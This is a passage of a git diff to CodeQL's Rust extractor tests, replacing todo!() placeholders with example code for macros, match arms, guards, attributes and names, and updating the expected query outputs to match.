For example: + fn foo<'a>(x: &'a str) {} + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected index 915d6847799..1192db0ba7e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | +| gen_macro_call.rs:7:5:7:29 | println!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected index f4bb40db46b..e93d36c8ac2 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:11 | MacroBlockExpr | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:14:7:28 | MacroBlockExpr | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | FormatArgsExpr | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected index 23762715c9a..0f17b0ddd12 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:8 | todo | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:5:7:11 | println | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:5:7:29 | ...::format_args_nl | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected index d2ed004ecc4..833429dd94f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:10:5:11 | TokenTree | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:13:7:29 | TokenTree | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs index 33b3ec16124..ababca69009 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs +++ b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_macro_call() -> () { - // A MacroCall. For example: - todo!() + // A macro invocation. + // + // For example: + println!("Hello, world!"); } diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected index e69de29bb2d..2aa118cbfbc 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasArgs: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasName: | yes | hasVisibility: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected index e69de29bb2d..fecd14ff2ba 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:25:7:39 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected index e69de29bb2d..776a64f484a 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:41:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected index e69de29bb2d..7b7e532ab2e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:15:7:24 | vec_of_two | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected index e69de29bb2d..74234db763b 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:5:7:7 | Visibility | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs index 7fdd2aea756..72c70a7f631 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs +++ b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_macro_def() -> () { - // A MacroDef. For example: - todo!() + // A Rust 2.0 style declarative macro definition. + // + // For example: + pub macro vec_of_two($element:expr) { + vec![$element, $element] + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected index 79f6d26b811..819ac71ef40 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | hasMacroCall: | yes | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected index c1815adac09..493f2f88291 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | gen_macro_expr.rs:5:5:5:11 | todo!... | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | gen_macro_expr.rs:7:13:7:25 | vec!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs index 245187b1853..effe3640216 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_macro_expr() -> () { - // A MacroExpr. For example: - todo!() + // A macro expression, representing the invocation of a macro that produces an expression. + // + // For example: + let y = vec![1, 2, 3]; } diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected index e69de29bb2d..b56789484ff 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:13:9:13:19 | MacroPat | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected index e69de29bb2d..faa6c1d7e6d 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:13:9:13:19 | MacroPat | gen_macro_pat.rs:13:9:13:19 | my_macro!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs index bfd718fe928..d44879fae34 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs +++ b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs @@ -1,6 +1,17 @@ // generated by codegen, do not edit fn test_macro_pat() -> () { - // A MacroPat. For example: - todo!() + // A macro pattern, representing the invocation of a macro that produces a pattern. + // + // For example: + macro_rules! my_macro { + () => { + Ok(_) + }; + } + match x { + my_macro!() => "matched", + // ^^^^^^^^^^^ + _ => "not matched", + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected index e69de29bb2d..db582f99f87 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasName: | yes | hasTokenTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected index e69de29bb2d..08044386ded 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:18:5:25 | my_macro | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected index e69de29bb2d..9aafcc37389 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:27:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs index 19c15ac5f78..062496ce3f2 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs +++ b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_macro_rules() -> () { - // A MacroRules. For example: - todo!() + // A macro definition using the `macro_rules!` syntax. + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected index e69de29bb2d..2f91b7f8d00 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected index e69de29bb2d..896e3e199b2 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | gen_macro_type_repr.rs:10:14:10:26 | macro_type!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs index 60b382ca878..a1f80029eb9 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_macro_type_repr() -> () { - // A MacroTypeRepr. For example: - todo!() + // A type produced by a macro. + // + // For example: + macro_rules! macro_type { + () => { i32 }; + } + type T = macro_type!(); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected index e69de29bb2d..8a796ef9a55 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected @@ -0,0 +1 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | getNumberOfArms: | 3 | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected index e69de29bb2d..5a53f429e98 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected @@ -0,0 +1,3 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 0 | gen_match_arm_list.rs:8:9:8:19 | 1 => "one" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 1 | gen_match_arm_list.rs:9:9:9:19 | 2 => "two" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 2 | gen_match_arm_list.rs:10:9:10:21 | _ => "other" | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs index b2192f929e2..e41c67da528 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs @@ -1,6 +1,13 @@ // generated by codegen, do not edit fn test_match_arm_list() -> () { - // A MatchArmList. For example: - todo!() + // A list of arms in a match expression. + // + // For example: + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected index e69de29bb2d..2005c2a1c3d 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected index e69de29bb2d..e6d76089e71 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | gen_match_guard.rs:8:14:8:18 | ... > ... | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs index 9e45b8c3564..64d9a1c7cf3 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_match_guard() -> () { - // A MatchGuard. For example: - todo!() + // A guard condition in a match arm. + // + // For example: + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } } diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected index e69de29bb2d..0aa36a59d61 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | hasExpr: | yes | isUnsafe: | yes | hasPath: | yes | hasTokenTree: | no | +| gen_meta.rs:9:7:9:72 | Meta | hasExpr: | no | isUnsafe: | no | hasPath: | yes | hasTokenTree: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected index e69de29bb2d..b4c0ec93734 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected @@ -0,0 +1 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:27:7:45 | "reason_for_bypass" | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected index e69de29bb2d..ad4a23a5e2a 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:14:7:23 | ...::name | +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:7:9:16 | deprecated | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected index e69de29bb2d..ffeca33dd3a 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected @@ -0,0 +1 @@ +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:17:9:72 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs index 204fb3bd7de..104540323f9 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs +++ b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_meta() -> () { - // A Meta. For example: - todo!() + // A meta item in an attribute. + // + // For example: + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected index 5862cd94081..516e47d8b39 100644 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected @@ -1,2 +1,2 @@ -| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasReceiver: | yes | -| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasIdentifier: | yes | hasReceiver: | yes | +| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasReceiver: | yes | +| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasIdentifier: | yes | hasReceiver: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql index d0b082f4523..518d3dee36e 100644 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql @@ -3,13 +3,15 @@ import codeql.rust.elements import TestUtils from - MethodCallExpr x, string hasArgList, int getNumberOfAttrs, string hasResolvedPath, - string hasResolvedCrateOrigin, string hasGenericArgList, string hasIdentifier, string hasReceiver + MethodCallExpr x, string hasArgList, int getNumberOfAttrs, int getNumberOfArgs, + string hasResolvedPath, string hasResolvedCrateOrigin, string hasGenericArgList, + string hasIdentifier, string hasReceiver where toBeTested(x) and not x.isUnknown() and (if x.hasArgList() then hasArgList = "yes" else hasArgList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfArgs = x.getNumberOfArgs() and (if x.hasResolvedPath() then hasResolvedPath = "yes" else hasResolvedPath = "no") and ( if x.hasResolvedCrateOrigin() @@ -19,6 +21,7 @@ where (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and if x.hasReceiver() then hasReceiver = "yes" else hasReceiver = "no" -select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "hasResolvedPath:", - hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin, "hasGenericArgList:", - hasGenericArgList, "hasIdentifier:", hasIdentifier, "hasReceiver:", hasReceiver +select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "getNumberOfArgs:", + getNumberOfArgs, "hasResolvedPath:", hasResolvedPath, "hasResolvedCrateOrigin:", + hasResolvedCrateOrigin, "hasGenericArgList:", hasGenericArgList, "hasIdentifier:", hasIdentifier, + "hasReceiver:", hasReceiver diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.expected new file mode 100644 index 00000000000..36af4e22c50 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.expected @@ -0,0 +1,2 @@ +| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | 0 | gen_method_call_expr.rs:5:11:5:12 | 42 | +| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | 0 | gen_method_call_expr.rs:6:23:6:24 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql new file mode 100644 index 00000000000..58529cebfe5 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MethodCallExpr x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getArg(index) diff --git a/rust/ql/test/extractor-tests/generated/Name/Name.expected b/rust/ql/test/extractor-tests/generated/Name/Name.expected index 37d1c2e1dd4..28a23a6d392 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | hasText: | yes | +| gen_name.rs:7:9:7:11 | foo | hasText: | yes | | lib.rs:1:5:1:12 | gen_name | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected index 9cee64fd236..3098a78003b 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | test_name | +| gen_name.rs:7:9:7:11 | foo | foo | | lib.rs:1:5:1:12 | gen_name | gen_name | diff --git a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs index 6b09a11fc12..78c86e40b3b 100644 --- a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs +++ b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name() -> () { - // A Name. For example: - todo!() + // An identifier name. + // + // For example: + let foo = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected index 2c0b9dffa4d..a73f8a02945 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | $crate | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panic | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panicking | hasText: | yes | +| gen_name_ref.rs:7:7:7:9 | foo | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected index 17f24a9cefe..1b98842e5ec 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | todo | -| gen_name_ref.rs:5:5:5:11 | $crate | $crate | -| gen_name_ref.rs:5:5:5:11 | panic | panic | -| gen_name_ref.rs:5:5:5:11 | panicking | panicking | +| gen_name_ref.rs:7:7:7:9 | foo | foo | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs index fe161cef749..99f7e6a80e5 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs +++ b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name_ref() -> () { - // A NameRef. For example: - todo!() + // A reference to a name. + // + // For example: + foo(); + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected index e69de29bb2d..e3e1a8d3900 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_never_type_repr.rs:7:17:7:17 | ! | +| gen_never_type_repr.rs:7:21:7:28 | ! | diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs index 203a3b749dc..4171a820d77 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn 